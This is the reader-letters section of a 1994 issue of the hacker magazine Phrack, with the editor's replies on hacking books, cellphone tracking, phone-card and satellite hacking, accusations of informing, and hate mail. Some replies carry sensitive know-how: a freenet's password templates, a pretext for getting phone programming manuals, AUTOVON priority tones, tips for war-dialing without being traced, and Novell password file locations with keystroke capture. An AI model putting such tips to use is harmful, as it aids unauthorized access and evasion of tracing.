‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I saw an ad for a book called "Secrets of a SuperHacker" by Knightmare. Supposedly it intersperses tales of his exploits with code and examples. I have big doubts, but have you heard anything good/bad about it?

[Your doubts are well founded. I got an advance copy of that book. Let's put it this way: does any book that contains over a dozen pages of "common passwords" sound like ground breaking material?

This book is so like "Out of the Inner Circle" that I almost wanted to believe Knightmare (Dennis Fiery) was really yet another alias for Bill Landreth. Imagine "Out of the Inner Circle" with about a hundred or more extra pages of adjectives and examples that may have been useful years back.

The Knightmare I knew, Tom in 602, whose bust by Gail Thackeray gave law enforcement a big buffer of the Black Ice Private BBS and help spark the infamous LOD Hacker Crackdown, certainly didn't have anything to do with this. In fact, the book has a kind of snide tone to it and is so clueless, that leads me to believe it may have been written by a cop or security type person looking to make a quick buck.

As far as source code, well, there is a sample basic program that tries to emulate a university login.

If you want a good book, go buy "Firewalls and Internet Security" by Cheswick and Bellovin.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey Chris,

I'm sure you are under a constant avalanche of requests for certain files, so I might as well add to your frustration <grin>. I know of a program that supposedly tracks cellular phone frequencies and displays them on a cellmap. However, I don't know the name of the program or (obviously) where to find this little gem. I was wondering if you could possibly enlighten me on a way to acquire a program similar to the one I have described. I have developed some other methods of tracking locations of cellular calls. However my methods rely on a database and manually mapping cellular phones, this method is strictly low tech. Of course this would be for experimental use only, therefore it would not be used to actually track actual, restricted, radio spectrum signals. I wouldn't want the aether Gestapo pummeling our heads and necks.

[I don't know of anything that plots frequencies on a cellmap. How would you know the actual locations of cells for whatever city you may be in to plot them accurately?

There are a number of programs written to listen to forward channel messages and tell you when a call is going to jump to another channel. The cellular telephone experimenter's kit from Network Wizards has a lot of nice C source that will let you write your own programs that work with their interface to the OKI 900. I suppose you could get the FCC database CD‑ROM for your state and make note of longitude and latitude of cell sites and make your own database for your city, and then make a truly visual representation of a cellmap and watch calls move from cell to cell. But I don't think there is such a thing floating around the underground at present.

Of course the carriers have this ability, and are more than happy to make it available to Law Enforcement (without a warrant mind you). Hi OJ!

email Mark Lottor mw@nw.com for more info about the CTEK.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I saw this in a HoHoCon ad:

Top Ten Nark List

1. Traxxter

2. Scott Chasin

3. Chris Goggans

4. Aget Steal

5. Dale Drrew

6. Cliff Stoll

7. [blank]

8. Julio Fernandez

9. Scanman

10. Cori Braun

What did Chris Goggans do? Isn't he Erik Bloodaxe, the publisher of Phrack? I sincerely doubt that the feds would have someone working for them that puts out a publication like Phrack. It would be way too much of an embarrassment for them. I wrote to the editor of Phrack when I read that Agent Steal said that the publisher of Phrack was a Fed ‑ IN PHRACK no less. He said it was a stupid rumor. Is there anything to support this fact? And why is there now some manhunt for Agent Steal (at CFP the FBI was checking legs) if Steal was admittedly their employee? The whole thing is very confusing to me. Please explain. If Goggans isn't Bloodaxe then he'd Knight Lightning (this just came to me). Nevertheless, what's the story here?

[First off, I think you take things a little too seriously. If you are on a nark hunt, worry about your associates, not people you obviously don't even know. Chris Goggans (ME) is most positively Erik Bloodaxe. Thanks for remembering.

Agent Steal was involved with the FBI. This is a fact.

In his case, he even appeared to have some kind of immunity while trying to gather information on other hackers like Mitnik and Poulsen. This immunity is under scrutiny by the Bureau's own Internal Affairs (or so the new rumors go), since Steal was pulling a fast one and committing crimes the Bureau didn't know about to get some quick cash while he set up his friends.

My story is a bit more convoluted. You can sum it up by saying, if you interfere with my businesses, I'll try my best to track you down and turn you in. I guess I am a nark.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I read in the last Phrack (45) that you wanted someone to write a few words on scrambling systems. Give me a rough outline of what you want and I'll see if I can help :‑) Basically I wrote the Black Book (European Scrambling Systems 1,2,3,4,5 and World Satellite TV & Scrambling Methods) and also edit Hack Watch News & Syndicated HackWatch. They all deal with scrambling system hacks as opposed to computer hacking & phreaking. (Things are a bit iffy here as regards phreaking as all calls are logged but the eprom phone cards are easy to hack) Oh yeah and another claim to fame ;‑) if you can call it that, is that I was quoted in an article on satellite piracy in "Wired" August issue.

This Hawkwind character that you had an article from in Phrack43 sounds like a *real* hacker indeed :‑> Actually there is an elite in Ireland but it is mainly concerned with satellite hacking and that Hawkwind character is obviously just a JAFA (Irish hacker expression ‑ Just Another Fu**ing Amateur). Most of the advanced telco stuff is tested in the south of the country as Dublin is not really that important in terms of comms ‑ most of the Atlantic path satellite comms gear and brains are on the south coast :‑)

Actually the Hawkwind article really pissed off some people here in Ireland ‑ there were a few questions asked on my own bbs (Special Projects +353‑51‑50143) about this character. I am not even sure if the character is a real hacker or just a wannabe ‑ there were no responses from any of his addresses. SP is sort of like the neutral territory for satellite and cable hacking information in Europe though there are a few US callers. With the way things are going with your new DBS DirecTv system in the US, it looks like the European satellite hackers are going to be supplying a lot of information (DirecTv's security overlay was developed by News Datacom ‑ the developers of the totally hacked VideoCrypt system here in Europe).

There telco here uses eprom phone cards. These are extremely easy to hack (well most real hackers in .IE work on breaking satellite scrambling systems that use smart cards) as they are only serial eprom.

Regards

[About the satellite information: YES! Write the biggest, best article the whole fucking hacker world has ever seen about every aspect of satellite tv!! Personally, I'm more interested in that than anything else anyone could possibly write (seeing as how I'm about to buy a dish for both C and Ku).

About Hawkwind's article on hacking in Ireland: If I were to write an article about hacking in America, it would be entirely different than anyone else in America would write. A country is a big place. Just because someone else's hacking experience is different than your own, it's no reason to discredit them. However, if your exposure to the scene in Ireland is so completely different than Hawkwind's, I would LOVE to print it as well.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Columbus Freenet uses a password generating routine that takes the first and last initial of the user's real name, and inserts it into a randomly chosen template. Some of the templates are:

E(f)www5(l)

(f)22ww5(l) where f and l are first and last initials (f)2ww97(l)

(f)2ww95(l)

and so on. There are not too many of these templates, I guess maybe 50. I imagine most people go in and change their password right away, but then again that's what a prudent person would do (so they probably don't).

Columbus 2600 meetings:

Fungal Mutoid‑sysop of The KrackBaby BBS (614‑326‑3933) organized the first 2600 meetings in Columbus, unfortunately hardly anyone shows up... I don't know why HP is so dead in Central Ohio, but fear and paranoia run rampant.

That's all for now...keep up with the good work!

R.U.Serius?!

[Hmmm...templates are always a bad thing. All one has to do is get the program that generates them, and viola, you've got a pre‑made dict file for your crack program. Not very smart on the part of the Freenet, but hacking a Freenet, is like kicking a puppy.

I hope more people go to your 2600 meetings. The ones here in Austin kinda died out too. Maybe our cities are just lame.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A complaint: That piece about McDonald's in Phrack 45 was, in a word, LAME. Surely Phrack can do better. Maliciousness for its own sake isn't very interesting and frankly the article didn't have any ideas that a bored 13‑year‑old couldn't have thought up‑‑probably written by one.

That aside, I found some good stuff in there. Some of it was old news, but Phrack serves an archival purpose too, so that was ok. On a more personal note, I could really relate to your account of HoHoCon‑‑not that I was there, just that I have started to feel old lately even though I don't turn 25 for another 2 days :) Sometimes I feel myself saying things like "Why, sonny, when I was your age the Apple II was king..."

Keep up the good work, and don't let the lamers get you down.

[Thanks for the letter. I personally thought the McDonald's file was a laugh riot. Even if it was juvenile and moronic, I wouldn't expect anyone to analyze it and go through with anything it contained. It was just for fun. Lighten up :)

I am glad to see that at least someone else recognizes that Phrack is attempting to serve as an archive of our subculture, rather than just a collection of technical info that will be outdated overnight, or a buglist that will be rendered mostly unusable within hours of release.

There is so much going on within the community, and it is becoming such a spectacle in the popular media, that in 20 years, we can all go back and look at Phrack and remember the people, places, and meetings that changed the face of the net.

Or maybe I'm just terribly lame, and either 1) refuse to put in the good stuff, 2) don't have access to the good stuff, 3) exist only as a puppet agent of The Man, or 4) Don't know nothin' 'bout Telco! But you know what they say about opinions.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I have a few comments on your editorial in Phrack 44 (on information wants to be free). Thanks for voicing an opinion that is shared by many of us. I am glad to see a public figure in the CuG with nutz enuff to actually come out and make such a statement and mean it.

Again, thanks.

Now on the subject of hacking as a whole. Is it just me, or are the number of losers on the increase? There have always been those who would try and apply these skills to ripoff scams and system trashing but now that seems to be the sole intent of many of the "hackers" I come into contact with. What ever happened to hacking to learn more about the system. To really hack a system (be it phone, computer), is a test of skill and determination, and upon success you walk away with a greater understanding of the machine and its software. Hacking is more than just knowing how to run crack on a filched password file, or using some exploitation scripts picked up on IRC, it is a quest for knowledge and gaining superiority over a system by use of great skill acquired by a deliberate effort. Once was a time when things like toll fraud (I do miss blue boxes) were a means to an end, now they seem to be the end in itself.

Also, I am researching info on OSI comsec procedures and have found some really interesting goodies, if you are interested in publishing my piece when completed, let me know..

[(NOTE: This came from a .mil)

Man, I'm glad to see that people in the armed forces still have minds of their own. Not many people would express such a thing openly.

Yes, the destructive/profit‑motivated trends of many of the hackers of today are pretty sad. But you have to realize, as the technology becomes more and more like consumer electronics, rather than the traditional mold of computer as scientific research tool, an entirely different market segment will be exposed to it and use the technology for less than scrupulous means.

Even the act of hacking itself. Today, I can basically gain access to any model of system known to man by asking. I realize that there are many who cannot accomplish such a thing, but with the proliferation of public access sites, almost everyone can afford access to the net to explore and learn. The point comes down to this: if you have an account on a Sun, why do you need an account on a Sun at Boeing, unless you either 1) want to sell the cad files of the 777 to Airbus or McDonnell‑Douglas 2) want to get financial information to make a killing on Wall Street, or 3) just want to have an ego boost and say "I OWN BOEING!"

Personally, I can understand the ego boost aspect, but I've decided that I'd much rather get paid by a company like Boeing to hack for them than against them. I don't want to sell anyone's info, so hacking into any company is basically useless to me, unless they are paying me to look for potential weaknesses.

Granted, it's not an easy market to get into, but it's a goal to shoot for.

And for those who find it impossible to quit due to fear of losing their edge, check out my editorial in this issue for a possible solution.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I am looking for a Macintosh app that does the same thing as an app called "Demon Dial" that has been lost in the annals of software history due to the fact that some people (sysops) question whether it is illegal software (it dials up a series of phone #'s looking for data connections). Do you know where I could find an application for the Mac that does this simple function?

[We had a guy ask in an earlier issue for Macintosh hacking/phreaking apps. Noone responded. Hell, I know SOMEONE has to use a Mac out there. Are you Mac‑weenies all embarrassed to speak up?

Hell, uuencode and email me your aps, and I'll put them up for ftp! Help out your poor fellow Macintosh users. I certainly would if I could, but the thought of touching a Mac gives me the chills.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Have you ever heard of being denied access to your own cell phone? I am currently in the process of buying a cell phone and was informed that I COULD NOT have the programming guide of the security code they enter to program my phone. In my opinion the key word is "MY." If I get a digital security system for my house you better damn well figure I will have the security codes for that. The phone was a Motorola flip phone. I called Motorola and explained how displeased I was with this company and they said they could not interfere with a reps. policy. When I was selling car phone we kept the programming guide unless they asked for it. I demanded it and they laughed in my face. Who said "the customer is always right" anyway?

Thanks, any info is greatly appreciated. By the way, you wouldn't happen to have the CN/A number for 815 would you? Also, any ANAC would be very helpful.

[Well, I hate to say it, but you got typical service from your cellular agent. Let's face it, these sales reps probably knew about as much about that programming manual as I do nuclear physics: "Its confusing, but if you understand it, you can fuck things up."

I am surprised that Motorola wouldn't sell you the book though. Motorola will sell anybody anything. You probably called the wrong place. Moto is so huge they've got multiple groups working on somewhat similar technologies with absolutely no communication between the groups. Sometimes they are in different countries, but sometimes they are in the same city! I would suggest you call a local FAE (Field Applications Engineer)

and get them to get the book for you. Make up some story about working on some computer controlled application with the phone, and that you need any and all documentation on the phone. They'll do it. Money is money.

As far as the 815 CNA, hell, just call the business office. I haven't called a CNA in years, only the business office. They are nice people. And no PINs.

815 ANAC: ok guys, someone must have one...email it!

"The customer is always right" wasn't in Bartlett's or Columbia's books of famous quotations. I guess that phrase has been written out of out history. So, from now on you aren't always right, I guess.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dear Phrack:

We want you!

We want you to be a part of our cutting edge documentary that is traversing across the "NEW EDGE" of computers, culture, and chaos.

Working in conjunction with Douglas Rushkoff, the best selling author of "CYBERIA," we are currently gathering together the leaders of this technological and cultural revolution. This is not a documentary in the traditional sense of the word. It is more of an exploration, a journey, a unique vision of the world as seen through the eyes of those who live on the bleeding edge; where technology, art, science, music, pleasure, and new thoughts collide. A place people like you and me like to call home.

"New Edge" will deliver a slice of creativity, insanity, and infallibility, and feed those who are hungry for more than what Main Street USA has to offer. This project will detonate across the US and around the world. It will become the who's who of the new frontier and you belong on it's illustrious list of futurians. Please look over the enclosed press release description of the project.

Phrack has long been the ultimate source for hack/phreak info, and helped to push the limits of free speech and information. The role that Phrack has played in the Steve Jackson Games Case set an important precedent for CyberLaw. We will also be interviewing several people from the EFF.

Please call me ASAP to schedule an interview for "New Edge", or send me E‑Mail.

Sincerely,

Todd LeValley

Producer, N E W E D G E

(310) 545‑8138 Tel/Fax

belief@eworld.com

W E L C O M E

T O T H E

W O R L D

O N T H E

E D G E O F

T H E F U T U R E

W E L C O M E

T O T H E

N E W E D G E

‑the documentary‑

T h e O r g a n i z a t i o n

Belief Productions in association with Film Forum.

T h e M i s s i o n

Journey through the labyrinth of cyberia and experience the people, places and philosophy that construct cyberspace and the shores of the technological frontier. This fast paced visual voyage through the digital revolution will feature interviews with the innovators, artists, cyberpunks, and visionaries from all sides of the planet. These specialists are the futurists who are engineering our cybergenic tomorrow in laboratories today. Along the way we will investigate the numerous social and political issues which are cropping up as each foot of fiber optic cable is laid. Artificial intelligence, the Internet, nanotechnology, interactive media, computer viruses, electronic music, and virtual reality are just a few of the many nodes our journey will explore.

T h e F u n d i n g

This exploration is sponsored in part by a grant from The Annenberg Foundation in association with the LA based non‑profit cutting‑edge media group Film Forum.

T h e P r o c e s s

The New Edge project will capture moving images with a variety of input devices and then assemble them into one fluid documentary using Apple Macintosh Quadras & PowerMac computers. The post production work will be done entirely on the computers using the Radius Video Vision Telecast Board in conjunction with Quicktime software applications such as Adobe Premiere 4.0 and CoSA After Effects 2.01. The final piece will be recorded to BETACAM SP videotape for exhibition and distribution. The capture formats for the project will include: BETACAM SP, Super VHS, Hi‑8, 16MM Film, Super‑8 Film, 35MM Stills, and the Fisher

Price Pixelvision 2000.

T h e R e s u l t s

New Edge will pride itself on an innovative visual and aural style which before today, could only be created on high‑end professional video systems and only for short format spots. The New Edge documentary will be two hours in length and will have a dense, layered look previously featured only in much shorter pieces. New Edge will be a showcase piece not only for the content contained within, but for the way in which the piece was produced. It will be a spectacular tribute to the products and technology involved in its creation.

D i s t r i b u t i o n

Direct Cinema ‑ Distributes videos to Libraries, Schools, and Universities throughout the United States.

Mico Entertainment/NHK Enterprises ‑ Provider of American programming for Japanese Television.

Labyrinth Media Ltd. ‑ European reality‑based documentary distributor

T h e A u d i e n c e

New Edge is aimed at both the technophiles and technophobes alike. While the show will feature very complex and sophisticated topics, the discussions will be structured to appeal to both those who do and do not have the technical framework that underlines the cyberian movement. The show's content and style will make it readily available to the MTV and Generation X demographic groups as well as executives who want to stay on top of the latest technological advances. Individuals who read Mondo 2000 and Wired magazine will also naturally latch on to this electronic

presentation of their favorite topics.

T h e G u i d e s

Mike Goedecke ‑ Director/Graphic Designer

Mike was the Writer/Director/Cinematographer for the Interplay CD‑ROM game entitled Sim City. Acting as graphic designer for the Voyager Co.‑ Criterion Laser Disc Division his work is featured on titles such as: Akira, DEVO‑The Truth About De‑Evolution, The Adventures of Baron Munchausen, and Spartacus. Most recently he collaborated with Los Angeles Video Artist Art Nomura on a video installation piece entitled Digital Mandala. The piece was edited, composited , and mastered to Laser Disc using an Apple Macintosh Computer and off‑the‑shelf software. The installation is scheduled to tour museums and art galleries across the United States and Europe. While attending Cinema/Television Graduate School at the University of Southern California, Mike directed the award winning documentary short Rhythm, which celebrates various musical cultures.

Todd LeValley ‑ Producer/Graphic Designer

Todd is the Producer/Director of CyberCulture: Visions From The New Edge, a documentary that introduces the electronic underground. This project has been warmly received at numerous "Cyber Festivals" around the country, as well as at the Director's Guild Of America, and is currently being distributed by FringeWare Inc. Todd's commercial experience includes being the in‑house graphic designer for Barbour/Langley Productions designing, compositing, and producing the graphic packages for several 20th Century Fox Television pilots and The Sci‑Fi Trader for the USA Network/Sci‑Fi Channel. Todd is a graduate of the Cinema/Television program at Loyola Marymount University.

Jeff Runyan ‑ Cinematographer/Editor

Jeff received an MFA from the University of Southern California's Graduate School of Cinema/Television with an emphasis in cinematography and editing. He studied cinematography under the guidance of Woody Omens, ASC. and Earl Rath, ASC., and editing with Edward Dmytryk. Jeff was the cinematographer on the award wining documentary Rhythm. He has recently completed shooting and editing a documentary on Academy Award winning Cinematographer Conrad Hall for the ASC and has just finished directing a short film for USC Teleproductions.

Douglas Rushkoff ‑ Cyber Consultant/Author

Douglas is the author of the best selling Harper Collins San Francisco novel, Cyberia. He spent two years of his life living among the key players in the cyber universe. Douglas knows the New Edge well and is providing us with the map to its points of interest, rest stops and travelers.

For more information, please contact:

Todd LeValley, Producer

Belief Productions

(310) 545‑8138

belief@eworld.com

[Dear New Edge:

You have got to be kidding me. "Readers of Wired and Mondo 2000 will naturally latch on to this electronic presentation of their favorite topics?"

Aren't we awful fucking high on ourselves? Christ. Mondo & Wired readers and writers (and stars) are themselves so fucking far removed from the real meat of the underground, that they wouldn't

even be able to relate to it. Obviously this "documentary"

is going to be aimed at the wannabes who sit at home furiously masturbating to "Cyborgasm" while installing FRACTINT, being very careful not to soil their copy of "The Hacker Crackdown." Oh joy.

These guys are so fucking out of it, they sent me two letters. One addressed to Phrack, the other to Phrack / Emmanuel Goldstein. Maybe they think we're 2600.

CYBER‑COUNT: 12 occurrences.

That's kind of low. I'm surprised your public relations people didn't have you add in a few more cyber‑this's or cyber‑that's into the blurb. Gotta keep that cyber‑count high if you want to get those digi‑bucks out of those cyberians! CYBER!!!

Read my review of Cyberia guys...find a new pop‑fad to

milk for cash.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In less than 3 weeks, I will be leaving for Basic Training. Once out of there, I will be working on Satellite Data Transmissions for the US Army. I am highly excited, just waiting to see what type of computers I will be working on. Anyways, I will be enrolled in a 32‑week accelerated technical class teaching me all about satellites, and the computers that I will be using. Here's the kick. I'll be writing a series of Tech Journals detailing the workings/operations of/weaknesses, and the use of the systems. I was wondering if you would be interested in carrying these. I've read Phrack for a long time, but it is an off the wall subject. I'll also be playing with the military phone system, in hopes of finding out what the ABCD tones do. (I heard from a file that Military phones utilize them but I'm still a civilian, and am clueless).

Thanks for keeping me informed

Kalisti!

[Sorry to hear about your impending Basic Training. I'm not big on the military, as they would make me chop off all my hair.

About the Satellite systems: YES If you do indeed find time to write up any files on how they work, systems involved, weaknesses, etc. I'D LOVE TO PRINT THAT! Just make sure you don't blow your clearance.

Satellites are very cool. I'm about to buy a Ku Band disk to do some packet radio type stuff. A bit low‑tech compared to the Army, but hell, I'm on a budget.

ABCD...they are used for prioritizing calls on AUTOVON. FTS doesn't use them (I think), and they can only be used on certain lines.

They are:

A = priority

B = priority override

C = flash

D = flash override

For instance, if you want to make it known that this is an important call, you hit the "a" button before dialing. It establishes a priority‑class call, which may cause a light to come on or something as equally attention grabbing at the called party's end. Priority calls cannot be interrupted, except by a Priority Override" etc, with Flash Override being the highest class.

If you do these from an improper line, you will get an error message. The one I used to get when BS'ing AUTOVON op's long ago

was "The President's use of this line is not authorized." Funny.

Let me know if any of this is still valid.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dear Phrack,

The following is a copy of a Toneloc found file my friend got. As happens to my friend a lot the numbers aren't valid. But, you'll see he found at least one System 75. It appears that the 75 had a tracer installed on it already. My friend did not get a call back on it, and nothing has been done as far as we know. But, I still wonder ‑‑ Is scanning no longer safe?

Castor [612]

56X‑XXXX 22:57:34 03‑Apr‑94 C CONNECT 1200

Login: b

Password:

INCORRECT LOGIN

Login: c

Password:

INCORRECT LOGIN

56X‑XXXX 23:04:12 03‑Apr‑94 C CONNECT 1200

c

Unknown command error

Ready

d

Unknown command error

Ready

e

Unknown command error

Ready

b

Unknown command error

Ready

56X‑XXXX 23:49:19 03‑Apr‑94 C CONNECT 1200

KEYBOARD LOCKED, WAIT FOR LOGIN

[1;24r [1;1H [0J

Login: b

Password:

INCORRECT LOGIN

56X‑XXXX 01:23:28 04‑Apr‑94 C CONNECT 1200

Login: b

Password:

INCORRECT LOGIN

Call traced to 612‑XXX‑XXXX.

Saving number in security log for further investigation.

[Jeez. That sure does suck.

Well, live and learn kiddoes. 1994 is not the time to be hacking by direct dialing local numbers. It's just not all that smart.

Caller‑ID has been tariffed in a lot of RBOCS. A lot of modem manufacturers implemented caller‑id features into their equipment. Having these features in the equipment means that it won't be long before people redesign all their login programs to make use of these features. I would.

I've got an ISDN line. Every time I call out, the SPID (phone number) of the B channel I'm using is broadcast. There is nothing I can do about that. On a remote connection, almost all decent ISDN terminal adaptors have the option to block any SPID they don't know. They won't even answer the phone, because they receive and interpret the phone number before any session is established.

Yeah, well, that's ISDN, but it will not take a genius to do a few quick hacks on some linux box and we will suddenly be inundated with all kinds of "security packages" that use modems with Caller‑ID.

Yeah, I know, *67 (or whatever it is) to block the data, or route the call through another carrier so the data won't get passed (10288‑NXX‑XXXX). The data is still in the system, just not being transmitted from the switch out to the party being called.

It amazes me how many really smart people I know have been busted solely because they were hacking local systems and calling them directly.

Scanning has always been a very tricky subject. Since you are paying for a phone line, and if you have flat‑rate service, you are thereby entitled to call as many numbers as you want. The big issue a while back was dialing sequentially (which set some telcos on a rampage because call usage patterns looked like telemarketing machines). The other problem is harassment. One call to an individual is a wrong number. Two is bordering on harassment. So, doing a complete scan and calling the carriers back through some other method would be a fairly good idea. And always have your calls forwarded to a non‑working number so the 5,000 assholes who call‑return you during the scan won't interfere.

If you are lucky enough to live in the boonies, you are probably still somewhat safe, but everyone else...be careful.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack‑

I was wondering if anyone has ever done an article on breaking Novell Network through a workstation. I've heard it can be done through the SysAdmin computer, but is there a way to find the userlist and passwords? Also how would I go about cleaning up after myself so as to not leave a trace on the logs. I would appreciate a way other than screen capture, but if anyone knows of a good boot record booting program to do a capture of every key typed that would be great, and maybe it could be uuencoded in the next Phrack!

Thanks again for making the best, ass kickin', a step above the rest, brain moving, earth shaking, body shivering, fist shaking, totally bitchin', muy excelente, awesome H/P magazine in the whole world! :)

Sincerely,

The Warden

[Thanks for the compliments...

About your question though, I'm not quite sure what you mean. In a NetWare environment there really isn't any userlist and passwords that you can get at. You can run the syscon utility and look at all the usernames, but not much more. The passwords are stored in what's known as the "bindery." These are 3 files in the sys/system directory called NET$OBJ.SYS, NET$VAL.SYS, and NET$PROP.SYS. If you can pull a password out of those files, I will shit in my hat and eat it.

Beyond that, yes, a key‑capture program is definitely the ideal solution for monitoring activity on a PC workstation. There is one in this issue.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi,

I've Been reading your magazine for a long time now, my eyes light up when I see an advert for a UK BBS with related hacking/phreaking articles or files on it, but when I try to ring them they are usually gone.

I've been searching for ages for BBS's in the UK with these kind of articles on them but I've had no luck, Even postings on the USENET had little results. I have had a few boards which are shady but they ask unusual questions about abiding to rules/laws about hacking then they prompt with fake login and registration schemes.

If you have some, could you possibly send or publish a list of shady UK BBS's Id be extremely grateful

Cheers,

Steven

[Steven:

Hell, I don't even know the numbers to any "shady" bulletin boards here in America. The only UK hacker bbs I knew of in recent years was Unauthorised Access, but I'm sure that's the advert you are referring to.

Maybe someone else in the UK knows something decent to call over there. Any takers? ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[THE GRADY FILES]

Many of you may remember the NSA Security Manual we published last issue. That single file generated more press and hype than I'd seen in a long time. It was mentioned in several newspapers, it appeared on television. It was ridiculous. The document is available to anyone who can fill out a FIOA request.

Regardless, people went zany. At first I couldn't figure out

why everyone was so worked up, and then I caught wind of Grady Ward. Grady had posted the document to the net (with all mention of Phrack deleted from it) in several USENET forums alt.politics.org.nsa, talk.politics.crypto and comp.org.eff.talk. Several readers of Phrack were quick to jump up and point out that Grady had obtained it from the magazine (thanks guys!) which he grudgingly admitted. Grady got to be in the spotlight for a while as the Phrack/NSA Handbook thread continued to grow.

In the meantime, Grady was either calling, or giving him the benefit of the doubt, getting called by an awful lot of press. And even more compelling is the way he'd began pronouncing my impending federal raid on so many newsgroups.

And of course, I don't have time to read any of that USENET crap so I'm oblivious to all of this. Then I got a message from Grady.

[GRADY WRITES]

You might want to get ready for the FBI

serving a warrant on you for information

about the NSA security employee manual

published in Phrack 45;

the NSA security people called me about 10 minutes

ago to talk about how it got on the net.

I being very cooperative, gave him

your address in Austin.

Grady

707‑826‑7715

[I REPLY]

Get a grip.

Nothing that was contained in that file could not

be obtained through other sources.

[GRADY REPLIES]

Just because you did nothing illegal, doesn't mean that

you won't be annoyed by the FBI. Generally they will

be very polite however.

Gripping. Now what?

[I REPLY]

Ok,

If someone actually did contact you, what was his name and number. I will forward that to my lawyer.

[GRADY REPLIES]

I have received your mail regarding "Re: NSA"

It will be read immediately when I return.

If you are seeking more information on the

Moby lexical databases, please run

finger grady@netcom.com

for general information or help downloading

live samples and a postscript version of our

current brochure via anonymous ftp.

Thanks ‑ Grady Ward

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

He never answered my mail.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dear Sir:

Please refrain from sending such material to this address in the future! Since this address has been usubscribed from the Phrack mailing list, it means that further mailings are undesirable.

I would also wish to remind you that maintaining lists of people's email without consent is quite immoral and devious. How hypocritical of you, who decry all such behavior when it is practiced by corporations or governments.

Thank you.

robbie@mundoe.maths.mu.oz.au

[PHRACK EDITOR ABUSES POWER:

Dear Sir:

Please excuse the mailing. Have you ever heard of a mistake? Have you ever heard of an oversight?

Is it really that much of an inconvenience for you to hit the "d" key to remove one small piece of unwanted mail?

This being said, I would also like to invite you to go fuck yourself.

** I guess this guy does not like to get unsolicited mail **]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

You people really piss me off! You're undermining the fun and enjoyment of the rest of the internet users just for your juvenile games and illegal activities. Do you realize how much better off we'd be if you all just went away and left the Net to honest people like me? There is no place in today's society for a bunch of maladjusted paranoid psychotics like yourselves. Please do all of us users a favor and go jump in a river.

Kevin Barnes

kebar@netcom.com

[ABUSE OF POWER CONTINUES...WILL ERIKB EVER STOP?

Hey Keith:

Thanks a lot for the letter!

You know, it does my heart good to hear from such kind and caring folks like yourself. It's so fortunate for the Internet that there are people like yourself who take it upon themselves to become martyrs for their causes and express their ideals in such an intelligent manner.

It's fascinating to me that you can send such email sight‑unseen. Do you know who you are writing to? Do you even have the slightest idea? What do you hope to accomplish? Do you have any idea?

This particular "maladjusted paranoid psychotic" to whom you have so eloquently addressed is an engineer in the R&D of a Fortune 500 computer company, and that along with outside consulting will net me about six‑figures this tax year. I've consulted for telephone companies, governments, aerospace, financial institutions, oil companies (the list goes on...) and quite frankly I don't do anything even remotely illegal. In fact, one recent and quite prominent quote from me was "I only hack for money."

Now, about the silent majority of "honest people" like yourself that you have so self‑rightously chosen to represent...

I've been using the net since the early 80's (arpa‑days) initially through a rms granted guest account on MIT‑OZ. I've continued to work with other Internet Providers to cover the asses of the so‑called "honest people" of which you include yourself.

Now, in my view, if it were not for people like us, who consistently expose and pinpoint weaknesses in the operating systems and networking technologies that you use for your "fun and enjoyment" and that I use for MY JOB, you would continue to be at serious risk. But, perhaps ignorance is truly bliss, and if so, then Keith, you are probably one of the happiest people on this fine planet.

Now, per your request, I may just go jump in a river, as the one near my house is quite nice, and it is almost 100 degrees here in Texas. I only ask that you do me one small favor:

print out 500 copies of this letter, roll them up into a paper fist, and shove them into any orifice on your person that meets your criteria as deserving.

** I guess this guy doesn't like me...or you **

EDITORIAL ABUSE ENDS]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 2a of 28

****************************************

Phrack Editorial

If you aren't from America, this editorial really isn't meant for you, so read on with warning, or go on to the next file.

